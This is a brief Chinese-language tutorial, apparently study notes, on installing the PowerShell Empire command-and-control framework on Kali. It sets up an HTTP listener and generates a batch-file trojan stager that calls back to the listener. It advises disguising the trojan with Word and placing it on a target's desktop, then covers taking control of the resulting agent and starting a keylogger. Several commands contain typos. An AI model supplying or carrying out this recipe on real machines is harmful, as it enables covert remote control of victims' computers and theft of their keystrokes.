1.下载帝国的三个方法

1.1 window中通过网站下载

Releases · EmpireProject/Empire · GitHub

使用empire2.5版本，不是所有电脑都适用（kali）

1.2 kali中直接下载

（root账号下执行命令）

git clone https://github.com/BC-SECURITY/Empire   #下载帝国

cd  Empire

查看python环境

python

python2

退出python环境

1.3 kali中通过powershell安装 1.3.1开启服务

 sudo  apt install powrshell-empire  #安装帝国

 powershell-empire  server  #开启服务

  powershell-empire  client  #开启客户端

  

2.监听命令 2.1监听hhtp

 listeners  #进入监听界面

#进入http监听模式

 2.2 ipconfig查看虚拟机ip（监听者）

2.3设置监听

set  Name text1  #设置一个监听

set  Host  192.168.48.128/9999

set  Port 9999

execute #回到监听页面

list / listeners

2.4 木马 2.4.1 生成bat类型的木马

uselistener

usestager windows/launcher_bat 

info  #查看一些基本信息

 set Listener text1 #设置你想使用哪个监听线程

按照路径提示找木马文件

agents  #查看监听状态

interact  代理名称  #连接操作系统

 

复制生成的木马发送到主机桌面

bat可以使用word进行伪装

 2.4.2 监听键盘

usemodule powershell/collection/keylogger